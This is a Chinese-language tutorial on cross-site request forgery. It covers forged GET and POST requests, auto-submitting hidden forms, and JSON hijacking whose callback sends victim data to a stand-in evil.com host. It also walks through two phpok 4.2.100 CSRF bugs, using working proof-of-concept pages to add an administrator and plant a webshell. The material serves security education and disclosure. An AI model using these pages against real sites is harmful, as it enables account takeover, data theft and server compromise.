邪恶的CSRF !

Posted 红客联盟

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了邪恶的CSRF !相关的知识,希望对你有一定的参考价值。


0x00 什么是CSRF


            CSRF全称Cross Site Request Forgery,即跨站点请求伪造。我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的。


            从前面这个名字里我们可以关注到两个点:一个是“跨站点”,另一个是“伪造”。前者说明了CSRF攻击发生时所伴随的请求的来源,后者说明了该请求的产生方式。所谓伪造即该请求并不是用户本身的意愿,而是由攻击者构造,由受害者被动发出的。


            CSRF的攻击过程大致如图:

邪恶的CSRF (1)!

0x01 CSRF攻击存在的道理


            一种攻击方式之所以能够存在,必然是因为它能够达到某种特定的目的。比如:通过程序中的缓冲区溢出漏洞,我们可以尝试控制程序的流程,使其执行任意代码;通过网站上的SQL注入漏洞,我们可以读取数据库中的敏感信息,进而获取Webshell甚至获取服务器的控制权等等。而CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求,那么这有什么作用呢?


            显然,这种攻击的威力和受害者的身份有着密切的联系。说到这儿我们可以思考一下,攻击者之所以要伪造请求由受害者发出,不正是想利用受害者的身份去达到一些目的吗?换句话说,受害者身上有达到这个目的所必需的条件,而这些必需的条件在Web应用中便是各种各样的认证信息,攻击者就是利用这些认证信息来实现其各种各样的目的。


            下面我们先看几个攻击场景。


0x02 场景举例


(1)场景一:


            在一个bbs社区里,用户在发言的时候会发出一个这样的GET请求:


GET /talk.php?msg=hello HTTP/1.1
Host: www.bbs.com
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea
(空一行)


            这是用户发言内容为“hello”时发出的请求,当然,用户在请求的同时带上了该域下的cookie,于是攻击者构造了下面的csrf.html页面:


<html>
    <img src=http://www.bbs.com/talk.php?msg=goodbye />
</html>


            可以看到,攻击者在自己的页面中构造了一个发言的GET请求,然后把这个页面放在自己的服务器上,链接为http://www.evil.com/csrf.html。之后攻击者通过某种方式诱骗受害者访问该链接,如果受害者此时处于登录状态,就会带上bbs.com域下含有自己认证信息的cookie访问http://www.bbs.com/talk.php?msg=goodbye,结果就是受害者按照攻击者的意愿提交了一份内容为“goodbye”的发言。


            有人说这有什么大不了的,好,我们再看看另一个场景下的CSRF攻击。


(2)场景二:


            在一个CMS系统的后台,发出下面的POST请求可以执行添加管理员的操作:


POST /manage.php?act=add HTTP/1.1
Host: www.cms.com
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
is_admin=234mn9guqgpi3434f9r3msd8dkekwel
(空一行)
uname=test&pword=test


            在这里,攻击者构造了的csrf2.html页面如下:


<html>
    <form action="/manage.php?act=add" method="post">
        <input type="text" name="uname" value="evil" />
        <input type="password" name="pword" value="123456" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
</html>


            该页面的链接为http://www.evil.com/csrf2.html,攻击者诱骗已经登录后台的网站管理员访问该链接(比如通过给管理员留言等方式)会发生什么呢?当然是网站管理员根据攻击者伪造的请求添加了一个用户名为evil的管理员用户。


            通过这些场景我们可以看到,CSRF攻击会根据场景的不同而危害迥异。小到诱使用户留言,大到垂直越权进行操作。这些攻击的请求都是跨域发出,并且至关重要的一点,都是在受害者的身份得到认证以后发生的。另外,我们在第一个场景中攻击时并没有使用JavaScrpit,这说明CSRF攻击并不依赖于javascript


0x03 CSRF攻击方式


(1)HTML CSRF攻击:


            即利用HTML元素发出GET请求(带src属性的HTML标签都可以跨域发起GET请求),如:


<link href="…">
<img >
<iframe >
<meta http-equiv="refresh" content="0; url=…">
<script >
<video >
<audio >
<a href="…">
<table background="…">


            若要构造POST请求,则必须用表单提交的方式。另外,这些标签也可以用JavaScript动态生成,如:


<script>
    new Image().src = 'http://www.goal.com/…';
</script>


(2)JSON HiJacking攻击:


            为了了解这种攻击方式,我们先看一下Web开发中一种常用的跨域获取数据的方式:JSONP。


            先说一下JSON吧,JSON是一种数据格式,主要由字典(键值对)和列表两种存在形式,并且这两种形式也可以互相嵌套,非常多的应用于数据传输的过程中。由于JSON的可读性强,并且很适合JavaScript这样的语言处理,已经取代XML格式成为主流。


            JSONP(JSON with Padding)是一个非官方的协议,是Web前端的JavaScript跨域获取数据的一种方式。我们知道,JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据,于是大家想出了这样一种办法:


前端html代码:


<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
    function jsonpCallback(result) {
        alert(result.a);
        alert(result.b);
        alert(result.c);
        for(var i in result) {
            alert(i+":"+result[i]);//循环输出a:1,b:2,etc.
        }
    }
</script>
<script type="text/javascript" ></script>


后端的php代码:


<?php
//服务端返回JSON数据
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);
$result=json_encode($arr);
//echo $_GET['callback'].'("Hello,World!")';
//echo $_GET['callback']."($result)";
//动态执行回调函数
$callback=$_GET['callback'];
echo $callback."($result)";
?>


            可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。


            一句话描述JSONP:前端定义函数却在后端完成调用然后回到前端执行!


            明白了JSONP的调用过程之后,我们可以想象这样的场景:


            当用户通过身份认证之后,前端会通过JSONP的方式从服务端获取该用户的隐私数据,然后在前端进行一些处理,如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护,就容易受到JSON HiJacking的攻击。


            就以上面讲JSONP的情景为例,攻击者可以构造以下html页面:


<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
    function hijack(result) {
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
        }
        new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
    }
</script>
<script type="text/javascript" ></script>
</html>


            可以看到,攻击者在页面中构造了自己的回调函数,把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面,其隐私将暴露无疑。


            我们用以下几张图来总结一下JSON HiJacking的攻击过程:

邪恶的CSRF (1)!

邪恶的CSRF (1)!

邪恶的CSRF (1)!

邪恶的CSRF (1)!

(图片来源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/)


0x04 CSRF的危害


            前面说了CSRF的基本概念,列举了几个CSRF的攻击场景,讲述了几种CSRF的攻击方法,现在我们来简单总结一下CSRF攻击可能造成的危害。


            CSRF能做的事情大概如下:


1)篡改目标网站上的用户数据;
2)盗取用户隐私数据;
3)作为其他攻击向量的辅助攻击手法;
4)传播CSRF蠕虫。


            其中前两点我们在之前的例子中已经做了比较详细的说明,不再赘述。第三点即将其他攻击方法与CSRF进行结合进行攻击,接下来我们以实际的漏洞实例来说明CSRF的第三个危害。


            另外,CSRF蠕虫就是利用之前讲述的各种攻击方法,并且在攻击代码里添加了形成蠕虫传播条件的攻击向量,这一点会在本文的最后介绍。


0x05 基于CSRF攻击实例


            我们来看一下phpok的两个CSRF漏洞如何进行最大化的利用。这两个漏洞均来自乌云:


  1. phpok csrf添加管理员+后台getshell

  2. phpok csrf成功getshell(二)


(1)版本4.2.100:


            在phpok该版本的后台提交如下POST请求可以添加管理员:


POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…


攻击者可以构造如下页面:


<html>
    <div style="display:none">
        <form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
            <input type="hidden" name="id" value=""/>
            <input type="hidden" name="account" value=""/>
            <input type="hidden" name="pass" value=""/>
            <input type="hidden" name="email" value=""/>
            <input type="hidden" name="status" value=""/>
            <input type="hidden" name="if_system" value=""/>
            <input type="submit" name="up" value="submit"/>
        </form>
        <script>
            var t = document.poc;
            t.account.value="wooyun";
            t.pass.value="123456";
            t.status.value="1";
            t.if_system.value="1";
            document.poc.submit();
        </script>
    </div>
</html>


攻击发生之前,如图:

邪恶的CSRF (1)!

            管理员在登录的情况下访问攻击者的页面之后,如图:

邪恶的CSRF (1)!

            可以看到,成功添加了一名管理员。


            攻击到这里就结束了吗?并没有!攻击者利用CSRF漏洞成功进入了后台,他还要想办法GetShell!


            在后台风格管理-创建模板文件的地方添加一个模板,通过抓包改包的方式绕过前端对文件类型的判断,如图:

邪恶的CSRF (1)!

            把GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

改为GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

可以看到成功添加了.php文件:

邪恶的CSRF (1)!

            然后在编辑文件内容为一句话木马即可:

邪恶的CSRF (1)!

            在此次攻击中,攻击者最后利用后台添加模板处的限制不严格拿到了Webshell,但在此之前使攻击者得以进入后台的却是CSRF漏洞,由此可以看到CSRF在这次攻击中的重要性。


(2)还是4.2.100...


            刚才我们是通过CSRF先进入后台,然后利用后台的其他漏洞GetShell,这次我们直接在前台利用CSRF漏洞去GetShell怎么样?


            phpok的前台可以上传.zip文件,我们把木马文件test.php压缩为test.zip;

注册一个账号,进入修改资料页面;


            选择一个正常的图片,截获数据,如图:

邪恶的CSRF (1)!

邪恶的CSRF (1)!

然后修改数据,如图:

邪恶的CSRF (1)!

            成功上传.zip文件,记录下文件id号,这里是739。


            在后台的程序升级-ZIP离线包升级中的升级操作存在CSRF漏洞,演示如图:

邪恶的CSRF (1)!

            于是攻击者可以构造如下页面:


<html>
    <form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
        <input type="hidden" name="zipfile" value=""/>
        <input type="hidden" name="file" value=""/>
        <input type="submit" name="up" value="submit"/>
    </form>
    <script>
        var t = document.poc;
        t.zipfile.value="739";
        t.file.value="739";
        document.poc.submit();
    </script>
</html>


            管理员登录后台后访问攻击者的页面,如图:

            可以看到我们的木马文件已经上传到服务器上了。


            这次攻击,我们根本没有进入后台,而是利用一个CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些场景下的威力之大,根本不亚于SQL注入和文件上传这样的漏洞。


未完,接下一图文:邪恶的CSRF (2)!....


开拓进取的精神
坚持正义
它是一种热爱祖国
红客是一种精神
红客联盟
微信号:cnhonker_huc
网址:www.cnhonker.com


以上是关于邪恶的CSRF !的主要内容,如果未能解决你的问题,请参考以下文章

如果没有同源策略,一个邪恶的网站可以读取 CSRF 令牌吗?

为啥预检 CORS 不阻止 CSRF 攻击?

什么是CSRF跨站请求伪造?(from表单效验csrf-ajdax效验csrf-Ajax设置csrf-CBV装饰器验证csrf)

什么是CSRF攻击?

$_csrf.parameterName 和 $_csrf.token 返回 null

Spring Security - CSRF - 如何重置 CSRF 令牌并记录潜在的 CSRF 攻击(OWASP 推荐)